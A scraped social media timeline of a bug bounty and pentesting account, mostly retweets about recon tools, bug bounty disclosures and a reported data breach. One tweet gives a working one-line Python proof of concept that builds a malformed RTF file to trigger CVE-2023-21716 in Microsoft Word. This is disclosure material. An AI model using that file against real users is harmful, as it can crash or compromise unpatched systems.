#cybersecurity, #infosec, #pentesting, #CTF, #bugbounty, #bugbountytips, #OSCP, #OSCE, #hackerone, #bugcrowd, #HackTheBox, #offensivesecurity, #TryHackMe
Joined January 2010
- Tweets1.4K
- Following4.5K
- Followers887
- Likes122
Marty Dusek retweeted
🔄 Switched from @arkadiyt's bounty-targets-data (no updates in a month & no response from owner). Created my auto updated repo for latest public #bugbounty programs via GitHub actions.
github.com/Osb0rn3/bugbounty…
Marty Dusek retweeted
Ekonomická studie představená na tiskovce dne 11.4.2023 je teď volně ke stažení. Stahujte, studujte a sdílejte s vašimi poslanci a senátory. Ptejte se jich, jaký mají postoj ke krypto byznysu v ČR. ckma.cz/cs/blog
Autoři: @LukasKovanda , Jan Šincl a kolektiv VŠE
Microsoft Word Remote Code Execution Vulnerability (CVE-2023-21716)
POC:
open("t3zt.rtf","wb").write(("{\\rtf1{\n{\\fonttbl" + "".join([ ("{\\f%dA;}\n" % i) for i in range(0,32761) ]) + "}\n{\\rtlch no crash??}\n}}\n").encode('utf-8'))
msrc.microsoft.com/update-gu…
#bugbounty #rce
Marty Dusek retweeted
[RELEASE-UPDATE]
→ DSL-based advanced matcher/filter support
→ ASN Input support
→ ASNMAP integration
→ TLSX integration for TLS probing
Changelog –– github.com/projectdiscovery/…
#hackwithautomation #recon #cybersecurity
Marty Dusek retweeted
Now easily control the response data of your interactsh payload or domain on the fly as you need.
More details - github.com/projectdiscovery/…
GitHub Release - github.com/projectdiscovery/…
#hackwithautomation #oast #security #bugbounty
Marty Dusek retweeted
Someone is advertising 309gb of stolen data from #Vodafone #Italy.
#cybersecurity #infosec #databreach
Hakscale allows you to scale out shell commands over multiple systems with multiple threads on each system. Credit: @hakluke
I'm finally releasing the Go tool that I use for scaling commands out over loads of systems for fast scanning.
It's called "hakscale". It's super flexible and fast 🙂
github.com/hakluke/hakscale
Marty Dusek retweeted
I was finally able to disclose one of the examples from my last blog post labs.detectify.com/2022/07/0…
Here's the PoC-movie from the report to Reddit:
Reddit disclosed a bug submitted by fransrosen: hackerone.com/reports/156718… - Bounty: $10,000 #hackerone #bugbounty
Marty Dusek retweeted
Customizable Index page along with static file hosting for frequently used online payloads for attacks such as XSS/XXE and more is now supported with self-hosted interactsh server 🎉🎉
Changelog: github.com/projectdiscovery/…
#hackwithautomation #oast #appsec #security
You are using F5-WAF and need to create a good wordlist for bugbounty? Use this command:
#bugbounty #bugbountytips #bugbountyrecon #recon #pentest #pentesting #waf #wordlist
Marty Dusek retweeted
Oh, We can run Zest script in CLI independently without ZAP😍
github.com/zaproxy/zest/
I usually run it only in ZAP, but it can be executed alone, I think it would be better than scripting language when simple automation.
Marty Dusek retweeted
WOOOOW on the 02-06 we will be with our friend @Jhaddix and @h4t3c0mput3rs talking about Recons, Bug bounty and techniques!
Thank you my friend for accepting! Our conversation will be very insane!
#bugbounty #recon #bugbountytips
Marty Dusek retweeted
Making a DNS bruteforcer that @sml555_ @hakluke and I worked on privately approx 3 years ago public... Code here, if you want to poke early: github.com/codingo/fastsub .. Still needs some work - will update further before I cover in a video
Marty Dusek retweeted
The next release of @owaspamass will provide integration with @bgptools as a data source providing up-to-date information about registered autonomous system numbers and netblocks
#infosec #osint #recon #redteam #assetdiscovery #attacksurface
This is awesome tool. Check : github.com/ffuf/ffuf
Marty Dusek retweeted
🔥 CVE-2022-0337 (reward: $10,000 - @GoogleVRP ) - Write-up and Video 📺
System environment variables leak on Google Chrome, Microsoft Edge, and Opera.
Check the thread for PoC👇
#bugbounty #CyberSecurity #itsecurity #Pentesting
youtube.com/watch?v=q7OIEWta…